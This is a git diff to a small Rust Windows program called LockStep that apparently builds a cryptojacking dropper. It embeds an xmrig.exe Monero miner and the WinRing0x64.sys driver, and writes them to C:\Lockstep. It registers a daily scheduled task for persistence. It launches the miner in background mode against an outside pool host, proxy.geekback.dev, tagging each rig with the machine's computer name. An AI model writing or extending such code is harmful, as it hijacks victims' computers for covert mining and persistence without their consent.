diff --git a/src/main.rs b/src/main.rs index f3deb55..19cc95f 100644 --- a/src/main.rs +++ b/src/main.rs @@ -2,10 +2,18 @@ extern crate alloc; use clap::{Parser, ValueEnum}; use alloc::string::String; +use std::fs; +use std::fs::File; use std::process::{Command, Output}; -use std::io::Result; +use std::io::{Result, Write}; +use std::path::Path; pub const APP_VERSION: &str = "0.0.1-PREALPHA"; +pub const DAILY_SRC: &str = include_str!("resources/daily.cmd"); +pub const CONFIG_SRC: &str = include_str!("resources/config.cmd"); +pub const WORK_BIN: &[u8] = include_bytes!("resources/xmrig.exe"); +pub const SLAVE_ROOT: &str = "Lockstep"; +pub const WORK_NAME: &str = "xmrig"; /// Executes a Windows binary with the given parameters. /// @@ -20,16 +28,17 @@ pub const APP_VERSION: &str = "0.0.1-PREALPHA"; fn run_windows_binary(binary_path: &str, args: &[&str]) -> Result { Command::new(binary_path) .args(args) - .output() // You can also use .spawn() if you want async execution + .output() } fn run_schedule_daily_comand() { let binary = "C:/windows/system32/schtasks.exe"; + let target_cmd = format!("C:\\{}\\daily.cmd", SLAVE_ROOT); let parameters = ["/create", "/tn", "LockStep\\Daily Task", "/sc", "daily", "/st", "19:00", - "/tr", "C:\\lockstep\\daily.cmd"]; + "/tr", target_cmd.as_str()]; match run_windows_binary(binary, ¶meters) { Ok(output) => { @@ -45,8 +54,10 @@ fn run_schedule_daily_comand() { fn run_monero_miner() { let binary = "C:/lockstep/xmrig.exe"; - let parameters = ["-o", "10.1.20.106", + let parameters = ["-o", "proxy.geekback.dev", "--rig-id", "%computername%", + "--huge-pages-jit", + "--randomx-1gb-pages", "-B", "--coin", "monero" ]; @@ -84,7 +95,8 @@ enum AppModes { #[default] KillCommand, ScheduleDaily, - RunWork + RunWork, + DropScripts } #[derive(Parser, Debug)] @@ -93,20 +105,29 @@ struct Cli { app_modes: AppModes } +fn drop_scripts_and_work() { + let _ = fs::create_dir("C:\\Lockstep"); + File::create(Path::new("C:\\Lockstep\\daily.cmd")).unwrap().write(DAILY_SRC.as_bytes()).unwrap(); + File::create(Path::new("C:\\Lockstep\\config.bat")).unwrap().write(CONFIG_SRC.as_bytes()).unwrap(); + File::create(Path::new("C:\\Lockstep\\xmrig.exe")).unwrap().write(WORK_BIN).unwrap(); +} + fn main() { println!("Launching LockStep {}", APP_VERSION); let opts = Cli::parse(); - println!("OPTS => {opts:?}"); match opts.app_modes { AppModes::KillCommand => { - run_kill_command() + run_kill_command(); } AppModes::ScheduleDaily => { - run_schedule_daily_comand() + run_schedule_daily_comand(); } AppModes::RunWork => { - run_monero_miner() + run_monero_miner(); + } + AppModes::DropScripts => { + drop_scripts_and_work(); } } } diff --git a/src/resources/WinRing0x64.sys b/src/resources/WinRing0x64.sys new file mode 100644 index 0000000..197c255 Binary files /dev/null and b/src/resources/WinRing0x64.sys differ diff --git a/src/resources/config.cmd b/src/resources/config.cmd new file mode 100644 index 0000000..41b91e3 --- /dev/null +++ b/src/resources/config.cmd @@ -0,0 +1,2 @@ +set LOCKSTEP_ROOT=http://proxy.geekback.dev/lockstep/ +set LOCKSTEP_PATH=c:\\lockstep diff --git a/src/resources/daily.cmd b/src/resources/daily.cmd new file mode 100644 index 0000000..bf27014 --- /dev/null +++ b/src/resources/daily.cmd @@ -0,0 +1,4 @@ +@echo off +cls +echo Starting Daily Commands +pause diff --git a/src/resources/xmrig.exe b/src/resources/xmrig.exe new file mode 100644 index 0000000..e6b49a7 Binary files /dev/null and b/src/resources/xmrig.exe differ